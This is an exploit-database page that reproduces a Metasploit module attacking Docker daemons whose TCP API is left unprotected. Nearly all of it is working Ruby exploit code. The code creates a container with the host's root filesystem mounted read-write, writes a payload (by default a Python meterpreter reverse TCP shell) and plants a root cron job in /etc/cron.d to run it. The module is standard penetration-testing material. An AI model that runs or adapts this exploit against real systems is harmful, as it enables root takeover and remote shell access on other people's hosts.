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"Docker Daemon - Unprotected TCP Socket (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

python

Release date

Exploit published date

2017-09-11

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Docker Daemon - Unprotected TCP Socket Exploit',
      'Description'      => %q{
        Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
        with tls but without tls-auth), an attacker can create a Docker
        container with the '/' path mounted with read/write permissions on the
        host server that is running the Docker container. As the Docker
        container executes command as uid 0 it is honored by the host operating
        system allowing the attacker to edit/create files owned by root. This
        exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
        the host server.

        The Docker image should exist on the target system or be a valid image
        from hub.docker.com.
      },
      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
      'License'          => MSF_LICENSE,
      'References'       => [
        ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
        ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
      ],
      'DisclosureDate'   => 'Jul 25, 2017',
      'Targets'          => [
        [ 'Python', {
          'Platform'     => 'python',
          'Arch'         => ARCH_PYTHON,
          'Payload'      => {
            'Compat'     => {
              'ConnectionType' => 'reverse noconn none tunnel'
            }
          }
        }]
      ],
      'DefaultOptions'   => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
      'DefaultTarget'    => 0))

    register_options(
      [
        Opt::RPORT(2375),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
      ]
    )
  end

  def check_image(image_id)
    vprint_status("Check if images exist on the target host")
    res = send_request_raw(
      'method'  => 'GET',
      'uri'     => normalize_uri('images', 'json')
    )
    return unless res and res.code == 200 and res.body.include? image_id

    res
  end

  def pull_image(image_id)
    print_status("Trying to pulling image from docker registry, this may take a while")
    res = send_request_raw(
      'method'  => 'POST',
      'uri'     => normalize_uri('images', 'create?fromImage=' + image_id)
    )
    return unless res.code == 200

    res
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    cron_command = "python #{payload_path}"
    payload_data = payload.raw

    command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
    command << "echo \"\" >> #{echo_cron_path} && "
    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path)
    vprint_status('Setting container json request variables')
    {
      'Image'       => datastore['DOCKERIMAGE'],
      'Cmd'         => make_cmd(mnt_path, cron_path, payload_path),
      'Entrypoint'  => %w[/bin/sh -c],
      'HostConfig' => {
        'Binds'    => [
          '/:' + mnt_path
        ]
      }
    }
  end

  def del_container(container_id)
    send_request_raw(
      {
        'method'  => 'DELETE',
        'uri'     => normalize_uri('containers', container_id)
      },
      1 # timeout
    )
  end

  def check
    res = send_request_raw(
      'method'   => 'GET',
      'uri'      => normalize_uri('containers', 'json'),
      'headers'  => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown
    end

    if res and res.code == 200 and res.headers['Server'].include? 'Docker'
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # check if target is vulnerable
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, 'Failed to connect to the target')
    end

    # check if image is not available, pull it or fail out
    image_id = datastore['DOCKERIMAGE']
    if check_image(image_id).nil?
      fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
    end

    # create required information to create json container information.
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id

    # create container
    res_create = send_request_raw(
      'method'  => 'POST',
      'uri'     => normalize_uri('containers', 'create?name=' + container_id),
      'headers' => { 'Content-Type' => 'application/json' },
      'data'    => make_container(mnt_path, cron_path, payload_path).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201

    print_status("The docker container is created, waiting for deploy")
    register_files_for_cleanup(cron_path, payload_path)

    # start container
    send_request_raw(
      {
        'method'  => 'POST',
        'uri'     => normalize_uri('containers', container_id, 'start')
      },
      1 # timeout
    )

    # wait until container stopped
    vprint_status("Waiting until the docker container stopped")
    res_wait = send_request_raw(
      'method'  => 'POST',
      'uri'     => normalize_uri('containers', container_id, 'wait'),
      'headers' => { 'Accept' => 'application/json' }
    )

    # delete container
    deleted_container = false
    if res_wait.code == 200
      vprint_status("The docker container has been stopped, now trying to remove it")
      del_container(container_id)
      deleted_container = true
    end

    # if container does not deploy, remove it and fail out
    unless deleted_container
      del_container(container_id)
      fail_with(Failure::Unknown, "The docker container failed to deploy")
    end
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/42650/?format=json')

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